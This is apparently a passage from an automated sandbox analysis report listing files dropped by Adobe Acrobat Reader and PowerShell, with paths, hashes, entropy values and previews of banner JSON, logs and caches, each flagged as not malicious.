Preview:	{"analyticsData":{"responseGUID":"e8def716-ed1d-487d-b12f-36df850f9553","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736706653609,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.331306606915251
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbpSpEMmSg1c2LjcWkHvR0YknTVDDoAvJfYdPeUkwRe9:YvXKXbEp6T5LjIP8YGg8Ukee9
MD5:	7DFAE71575D60B8361EB39CCB45507A9
SHA1:	5F0270002ADEFC9499E3A5A8271B37F61169A664
SHA-256:	B31AFEC69196F8002C1BD9E67A366F847F5E6D905D1B911047A1851F58A25DE6
SHA-512:	C8A42016AC7BFFCEF896D2F766C8791C5FD63D1190C5C795F6996D88D61DF114BBB05D537519EA879C3B38E921D1F098BF5042C9817537E7C3C53ECFB898FFAB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8def716-ed1d-487d-b12f-36df850f9553","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736706653609,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.318489506015542
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbpSpEMmSg1c2LjcWkHvR0YknTVDDoAvJf+dPeUkwRe9:YvXKXbEp6T5LjIP8YG28Ukee9
MD5:	984A09074CF946C4C4CF18A7E53DAED0
SHA1:	0C79DFF36B6FD3CB9E62C0E319DC53CFCF82818B
SHA-256:	2C398875B473D0F88F6534826EAEB30B2220CA98D7C4F3FB935A9BECEFAC0C95
SHA-512:	E2448095662E14DBC9CC0ED8D816A215E7BCD82FC58193BCCA42D3F7356C3F89723D3C749FD03DDE354C5C1FC56F8E0762C4F61950287F348C5CB7CD81A1402D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8def716-ed1d-487d-b12f-36df850f9553","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736706653609,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.314638538905848
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbpSpEMmSg1c2LjcWkHvR0YknTVDDoAvJfbPtdPeUkwRe9:YvXKXbEp6T5LjIP8YGDV8Ukee9
MD5:	4B4E5E1866EBA5F7B9F38007A6CBAA5D
SHA1:	5E52A7F3DDFFD7B9B533A3B1C6E7C7D12F78CD4C
SHA-256:	9070EB23F508940A51CBA21F073BA80876E11052A23FA43965B37B2459E4D056
SHA-512:	7D58010D9F49679ED09CF2D7F754E396778A426D5E4E1F20CCD451A26B2B32BEADA9523DEB4A8EF59DCCE949700E153EE0C566159414338D1C5A9D28A51603AE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8def716-ed1d-487d-b12f-36df850f9553","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736706653609,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.3064964271328625
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbpSpEMmSg1c2LjcWkHvR0YknTVDDoAvJf21rPeUkwRe9:YvXKXbEp6T5LjIP8YG+16Ukee9
MD5:	2A308C9A14675AE69689A0BE1184EE63
SHA1:	EEEFCF65B39DD9D7C69A0674632E99EE6FE3DA32
SHA-256:	C0A573929B4E34DCD25A455260239DCF7D97564AFBB16ED92F53C64FDD0D918A
SHA-512:	72A9BCE11FECA318B6D63EC69321A91B3B6AC0A919043FB75A830AA9A49C66907923240900CB9AF8A970915BBE272547833B02328472FA58D7D1ECBA4B285A92
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8def716-ed1d-487d-b12f-36df850f9553","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736706653609,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.668491795914637
Encrypted:	false
SSDEEP:	24:Yv6XbFT5XIEtamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSf:YvSXFBBgkDMUJUAh8cvMf
MD5:	9B9E55D76B3DA10837D5515B6AA7B984
SHA1:	B39C2D3DBCBDEC9A8BDF0E8038E15990EF964D7A
SHA-256:	17AFFD7D0504E6D2E8BD95BE3AA5A16D9597D448340E19E91493BB7E49AB4FC4
SHA-512:	800A52710EF42514C9825067DDEBD4E1007134B572F2CCAFCED3E0E053B5434C767E5415860E19E494E3EC6ECD19876EAAA4AB3651D48D2A83B1725B692C4FE9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8def716-ed1d-487d-b12f-36df850f9553","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736706653609,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.279073814018241
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbpSpEMmSg1c2LjcWkHvR0YknTVDDoAvJfshHHrPeUkwRe9:YvXKXbEp6T5LjIP8YGUUUkee9
MD5:	83DC7155D0DEC01E6887E691FB736864
SHA1:	DE638D67ADB0C88D8C05B4FD6CB01F646B60B377
SHA-256:	3AAEBC0E1C8A7331DE834BA71AACB62C48BAC83AD5644E53FC923A81D8E843D7
SHA-512:	41A3F838CA81960264BAFEAF3B3BF5ACB25C9067B31F0613AC7C3E4E1573F75E98881D67F170B22F00C95074F6317026E7DD83AE30183F99EEB7DF9632C6ACFB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8def716-ed1d-487d-b12f-36df850f9553","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736706653609,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.288825173275599
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbpSpEMmSg1c2LjcWkHvR0YknTVDDoAvJTqgFCrPeUkwRe9:YvXKXbEp6T5LjIP8YGTq16Ukee9
MD5:	76722251EDA6B1822FA3A5D55CE57C94
SHA1:	5F8C298680C9E7F5C11638E97DAACEC19F11363F
SHA-256:	9AFF287D479B89636DF2FEC8AC7C3C069C2718F4A09FEB6F912C5C69000F7BD3
SHA-512:	59368CAE5EC35325091E1B3FFEF1043264605F44B17C2D26F06DDF01D45D9ABDAC3C60BC3B77EB48364BAEB021D8996FDC69DFD1563FBFBA2D384C31719DF958
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8def716-ed1d-487d-b12f-36df850f9553","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736706653609,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1371263641389
Encrypted:	false
SSDEEP:	24:YE0i/ayha13ayM/g2Ijl+UukYpjImTwUj0SPLlSz289f2LShCOcp3TM5e2s9iu6j:YEhk1flEI2w2PlQf9ffBcB4o2s9+
MD5:	D7B2EB3FEF6828DF59E3E319F530F44F
SHA1:	79AE54A5755742277BB8CD3B630A7759277D5319
SHA-256:	FB77DD285FFEF750F10263A37B640EF65A1541AF6D80E33B3CD44183C49FC7E9
SHA-512:	E30336B082D51DC1EBCED2B0FB9FE1F3826B6D552CC9380727B36198E0C6CF19BC58B0698BFF216E847604ED901B85BBC35E62ABCE60C2C3DCE9E9028484DCCE
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"49162d5597080c123a76faa482bd3d59","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736529818000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"d0682440daec84f71a893f020d17c2be","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736529818000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"bbed69e383776d23f95a40ff0ce4ce8c","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736529818000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"1b55ebe519d2e24ec373821d1b15d410","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736529818000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"7be15a395f8dbbf1a902a67ad6a55a58","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736529818000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"c4e7d14cf134486b3363cc891f712d50","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3665793249033915
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuyuXKdqEKfS8EKfM1baKuF:Tll2GL7msMcKTlS8fcsuyNfIK2
MD5:	92FFFF7F0B66C5393A2124D0B8CE10DD
SHA1:	FEAB85F5EE5BDFF37ABB3DC3A837F37BDDA9CDF3
SHA-256:	67D1E24F15D50BCF28899B8F8414EFC38E35050D92F879CAAC71537D8E7842DD
SHA-512:	87D73072C72D5EDB0A85B510B28AF3A85B01F9E5D96D6D2F1211181F2DBAB130CD4D3ED3822E5F2EEE5DE05932EF5D8F97EF808B220779E2B52EC43B8EEC9299
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8415314442782242
Encrypted:	false
SSDEEP:	24:7+tWZ6bqyKn6ylSTofcNqDuyu+KdqEKfS8EKfM1banbqrqLKufx/XYKQvGJF7urx:7MMcKTlS8fcsuy0fISqGufl2GL7msQ
MD5:	7283E400934800A77A570CD89D99C791
SHA1:	F2A24CFD7E8679269BDE9E527081107C18F512A6
SHA-256:	BDAAE41AEA286D867EE76E5624E6B63324ADF9FCFB7D0D5BEA69FA08024997E2
SHA-512:	4AC824CC0BDDCCB336227196436A76E8C1245564DB7EDB8F13E7330FC14C51E10BE45BF565F84E0C16908B6019F188FA11AE49AE309716AC5C680CB138DBE9CB
Malicious:	false
Preview:	.... .c.......Q...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgnjIHAgCWOTxe3PEaLdHdVSyEYyu:6a6TZ44ADEnjIITg3Pl3REK
MD5:	18AF0BAF083921BE658B10D277FEA44B
SHA1:	890FB00EB35470B67C6701349547E45F8140BB7A
SHA-256:	C2DDA66228F43B03151D83304F4A4B28F4798A93F8718D4518AB0F8970B76C71
SHA-512:	4B7202FA412D8C953B200138132AFDC5E953FB76506F22411BE81E3BD02502ED86582CD6C0EA4E8597F2B11AB340DFB36AB64916B4EA0A3F926A1C698808E702
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIe5d8a.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3lf9:Qw946cPbiOxDlbYnuRK+bD3H
MD5:	D3B6D914E8D7765B04CD3C64626A864D
SHA1:	4F503EC17142376C2FF01ED299998009ADC0C01F
SHA-256:	008D7573DDF27FB11FC846AF5485E028F9887654A5117D06CA381A306FD91D6B
SHA-512:	5A00B213CBA35F9D334FC8762B6FF29BA007530AD15892826C31BBE1E3EFC74B87B6ECA79DFAC5741F8A70ECED82C7F44392D9A908E1AD673EA997281FFBB12A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.2.3.:.3.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2pkubgh2.mok.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fwp5ydcl.ysi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A917ajmud_2t38dw_178.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-23-32-285.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15112
Entropy (8bit):	5.379598890124157
Encrypted:	false
SSDEEP:	384:Y51Ml1pI/1qLkYhS7Vxuwm54ojwgwLTsZSYVMViVKV6VmVGzm8QpManoMKLK3WQO:qwxO0IUzGe
MD5:	8B78AB01653AE61AA857920D5A7291A6
SHA1:	C9DEB333D36AEC65D569EF9FC547C6F5442DEC1E
SHA-256:	8AA12697BAFE074C276922F1045855E7D0C3CB439F56458A084FE3A39DDC6464
SHA-512:	07C69810AB6F3E3CBBC2674467C1E8BDC9D08B3DAC215D67936958726CBF0C868072FDD6E2F1DA9F5F62EBA7B7DF431B65DC26669A247DF3DADFA60A385124CE
Malicious:	false
Preview:	SessionID=d8f046ce-abf3-4b55-974b-b6c6c9e88569.1736529812298 Timestamp=2025-01-10T12:23:32:298-0500 ThreadID=3392 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d8f046ce-abf3-4b55-974b-b6c6c9e88569.1736529812298 Timestamp=2025-01-10T12:23:32:312-0500 ThreadID=3392 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d8f046ce-abf3-4b55-974b-b6c6c9e88569.1736529812298 Timestamp=2025-01-10T12:23:32:312-0500 ThreadID=3392 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d8f046ce-abf3-4b55-974b-b6c6c9e88569.1736529812298 Timestamp=2025-01-10T12:23:32:312-0500 ThreadID=3392 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d8f046ce-abf3-4b55-974b-b6c6c9e88569.1736529812298 Timestamp=2025-01-10T12:23:32:312-0500 ThreadID=3392 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.379084384368402
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmjocbmI2gcbZ:8qnXopZ50rfl23
MD5:	AA150498FEC8F3E7EFDE95A2D42CAA0F
SHA1:	C842D820589E5F9A5A6BABFCECA9555170EAA3AE
SHA-256:	9864E87229242AF80ED143AE4CF76EDB30AC5FCC133500AFEEC03E8D867BFB73
SHA-512:	08E2A2B032F97127DE32106840BF26ACCE8C5D54FBDAD92B03411A6586CF5100C68E11BF059C8B490D5ACD5C388EF0453A7AF8D56445BD694D328F238E4AFCCF
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\03528d5c-a96c-4b01-9a19-02adbd8e2adb.tmp

Download File

